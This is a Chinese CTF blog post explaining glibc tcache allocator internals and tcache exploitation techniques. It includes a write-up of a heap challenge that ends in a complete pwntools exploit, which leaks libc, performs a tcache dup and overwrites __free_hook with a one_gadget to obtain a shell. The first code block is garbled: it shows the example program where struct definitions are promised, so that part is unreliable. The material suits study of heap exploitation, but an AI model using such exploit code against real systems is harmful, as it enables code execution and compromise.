美文网首页CTF-PWN
libc2.26 之后的 Tcache 机制

libc2.26 之后的 Tcache 机制

作者: Nevv | 来源:发表于2019-01-28 17:09 被阅读0次

    libc2.26 之后的 Tcache 机制

    1. Tcache 概述

    ​ tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。其相关结构体如下

    #include <stdlib.h>
    #include <stdio.h>
    
    int main(int argc , char* argv[])
    {
        long* t[7];
        long *a=malloc(0x100);
        long *b=malloc(0x10);
        long *c=malloc(0x40);
        // make tcache bin full
        for(int i=0;i<7;i++)
            t[i]=malloc(0x100);
        for(int i=0;i<7;i++)
            free(t[i]);
    
        free(a);
        free(b);
        free(c);
        // a is put in an unsorted bin because the tcache bin of this size is full
        printf("%p\n",a[0]);
    } } tcache_perthread_struct;
    
    1. tcache相关的就是上面这两个结构体,其中tcache_entry结构体中的值是一个指向tcache_entry结构体的指针,是一个单链表结构。

    2. tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组(共64个字节,对应64个tcache链表),其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组(共64个元素,对应64个tcache链表,因此 tcache bin中最大为0x400字节),每一个指针指向的是对应tcache_entry结构体的地址。

    3. 看了上面的描述,只知道tcache_entry是一个只有一个字段的结构体,该链表与fastbin链表的异同点在于:

      • tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针

      • tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段

    4. _int_free中,最开始就先检查chunk的size是否落在了tcache的范围内,且对应的tcache未满,将其放入tcache中。

    5. _int_malloc中,

      • 如果从fastbin中取出了一个块,那么会把剩余的块放入tcache中直至填满tcache(smallbin中也是一样)

      • 如果进入了unsortedbin,且chunk的size和当前申请的大小精确匹配,那么在tcache未满的情况下会将其放入到tcachebin中

    从 Tcache 中获取chunk 的代码:

    /* Caller must ensure that we know tc_idx is valid and there's
       available chunks to remove.  */
    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
      //根据索引找到tcache链表的头指针
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      //将chunk取出
      tcache->entries[tc_idx] = e->next;
      //tcache计数器减一
      --(tcache->counts[tc_idx]);
      return (void *) e;
    

    从 Tcache 中获取 chunk 的情形:

    • 在调用malloc_hook之后,_int_malloc之前,如果tcache中有合适的chunk,那么就从tcache中取出:
    • 遍历完unsorted bin后,若tcachebin中有对应大小的chunk,从tcache中取出:
    • 遍历unsorted bin时,大小不匹配的chunk会被放入对应的bins,若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出(默认无限制)

    2.Tcache 例子

    ​ 以下面的程序为例:

    #include <stdlib.h>
    #include <stdio.h>
    
    int main(int argc , char* argv[])
    {
        long* t[7];
        long *a=malloc(0x100);
        long *b=malloc(0x10);
        long *c=malloc(0x40);
        // make tcache bin full
        for(int i=0;i<7;i++)
            t[i]=malloc(0x100);
        for(int i=0;i<7;i++)
            free(t[i]);
    
        free(a);
        free(b);
        free(c);
        // a is put in an unsorted bin because the tcache bin of this size is full
        printf("%p\n",a[0]);
    } 
    
    • 可以看到在执行完之后,只有当 tcache 中填充完7个 cache 后,再释放才会进入其对应的 normal bins,这点和之前版本的 libc 不同。
    pwndbg> bins
    tcachebins
    0x20 [  1]: 0x555555756370 ◂— 0x0
    0x50 [  1]: 0x555555756390 ◂— 0x0
    0x110 [  7]: 0x555555756a40 —▸ 0x555555756930 —▸ 0x555555756820 —▸ 0x555555756710 —▸ 0x555555756600 ◂— ...
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x555555756250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555756250 /* 'PbuUUU' */
    smallbins
    empty
    largebins
    empty
    pwndbg> 
    
    

    3. Tcache 利用

    ​ Tcache的利用主要分为以下几种:

    • tcache poisoning

      • 简单来说就是覆盖 tcache entry 结构体中的 next 域,不经过任何伪造 chunk 即可分配到另外地址
    • tcache dup

      • 类似于 fastbin 的double free,就是多次释放同一个tcache,形成环状链表
    • tcache perthread corruption

      • 控制tcache_perthread_struct结构体
    • tcache house of spirit

      • free 内存后,使得栈上的一块地址进入 tcache 链表,这样再次分配的时候就能把这块地址分配出来

    例题1: HITCON 2018 PWN baby_tcache

    简单分析后,该题目是一个常规菜单题目,有malloc、free、puts操作,最多分配10个chunk,实际大小均为256(mallocd的是248但是可以复用后一个chunk的pre_size域), qword_202050 处有一个数组存储分配的 chunk 和用户自定义的大小,除此之外保护全开:

    nevv@ubuntu:~/Desktop$ checksec easy_heap
    [*] '/home/nevv/Desktop/easy_heap'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    ​ 在malloc处存在 NULL 单字节溢出:

    unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
    {
      unsigned int v3; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      v3 = 0;
      if ( a2 )
      {
        while ( 1 )
        {
          read(0, &a1[v3], 1uLL);
          if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
            break;
          ++v3;
        }
        a1[v3] = 0;
        a1[a2] = 0;
      }
      else
      {
        *a1 = 0;
      }
      return __readfsqword(0x28u) ^ v4;
    }
    

    ​ 这里我发现网上的很多脚本都是一样的,在解题思路中都没有说明用于 overlapping chunk 的 pre_size 是怎么设置的,因为我们要是想让其与上一个 chunk 发生 overlapping,必然要构造 pre_size字段,直接构造的话我们在读取内容的时候‘\0’会截断而且堆块大小是0x100,因此需要另外想办法构造出 pre_size 字段,这也是解题的关键所在。这里我结合出题人的 思路 给出以下两种办法做参考:

    1. tcache在分配完其中的7个堆块后如果再次分配,它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来,如果unsortedbin中有三个及以上符合大小的堆块,当并入tcache时,你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身,题目中恰好设置了堆块为0x100对齐,所以分配出来的堆块内容如果什么都不输入那么它的“\0”终止符不会影响fd指针,在将中间的堆块重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0,然后填满tcache后free掉下个堆块,那么他就会和前面的堆块合并形成overlap-chunk。

    2. 通过 free 操作使得某个要用作 overlapping 的 chunk presize 有我们想要的值,比如填充满 Tcache 后,再次释放空间连续的三个 chunk A B C,会进入 unsorted_bin 并由合并操作,此时最后一个堆块 chunk C 的pre_size 会遗留一个 0x200的值,可以用于后续的 overlapping。

    • 获取libc

      下边给出使用了第二种思路的exp,基本思想是一样的 chunk A B C,A为 unsortbin, B为 Tcache 链表首部, C为 allocated 状态, 分配 B 并单字节溢出 C 的 pre_inuse 位,free(C) 后触发 overlapping,再次 malloc,将 A 从合并后的 fake unsort bin 中分配出去,这样 B 的 fd 和 bk 的值就变为了 main_arena + 96,同时 B 还存在于已经分配出去的列表中。这样就能获取到 libc 的地址。

    • tcache dup

      然后我们再次 malloc 后,会再次把 chunk B 分配到程序自定义的记录已分配的 chunk 的列表中,这样就获得了两次free B 的机会,然后通过 malloc 两次 chunk B,第一次分配后将其 fd 的位置改为 __free__hook 的 got 表地址,第二次分配的时候就获得到了 __free__hook 处的空间,此时再进行改写,就是改的 __free__hook 的 got 表项,将其改为 one_gadget 即可。

    exp:

    from pwn import *
    
    context.log_level = 'debug'
    
    def malloc(size,content):
        p.recvuntil('> ')
        p.sendline('1')
        p.recvuntil('> ')
        p.sendline(str(size))
        p.recvuntil('> ')
        p.sendline(content)
    
    def free(index):
        p.recvuntil('> ')
        p.sendline('2')
        p.recvuntil('> ')
        p.sendline(str(index))
    
    def puts(index):
        p.recvuntil('> ')
        p.sendline('3')
        p.recvuntil('> ')
        p.sendline(str(index))
    
    p = process('./easy_heap')
    #p = remote('118.25.150.134',6666 )
    
    for i in range(10):
        malloc(0x20,'a')
    
    for i in range(3,10):
        free(i)
    
    for i in range(3):
        free(i)
    
    for i in range(10):
        malloc(0x20,'a')
    
    
    for i in range(6):
        free(i)
    
    free(8) #fill tcache
    free(7) #unsorted bin
    
    malloc(0xf8,'b') #change next_chunk pre_inuse = 0
    
    free(6) #fill tcache
    free(9) #unsorted bin
    
    #unsorted bin point to chunk[0]
    for i in range(8):
        malloc(0x20,'b')
    
    #leak libc
    puts(0)
    
    libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
    log.success('libc base addr : 0x%x'%libc_base)
    free_hook = libc_base + 0x3ed8e8
    one_gadget = libc_base + 0x4f322
    log.success('free_hook addr : 0x%x'%free_hook)
    log.success('one_gadget addr : 0x%x'%one_gadget)
    
    #clear unsorted bin
    malloc(0x20,'d')
    
    #free place to malloc
    free(1)
    
    #tcache dup
    free(0)
    free(9)
    
    #hijack free_hook to one_gadegt
    malloc(0x20,p64(free_hook))
    malloc(0x20,'e')
    malloc(0x20,p64(one_gadget))
    
    #trigger one_gadget to getshelol
    free(5)
    
    
    p.interactive()
    

    参考链接

    相关文章

      网友评论

        本文标题:libc2.26 之后的 Tcache 机制

        本文链接:https://www.haomeiwen.com/subject/bqzajqtx.html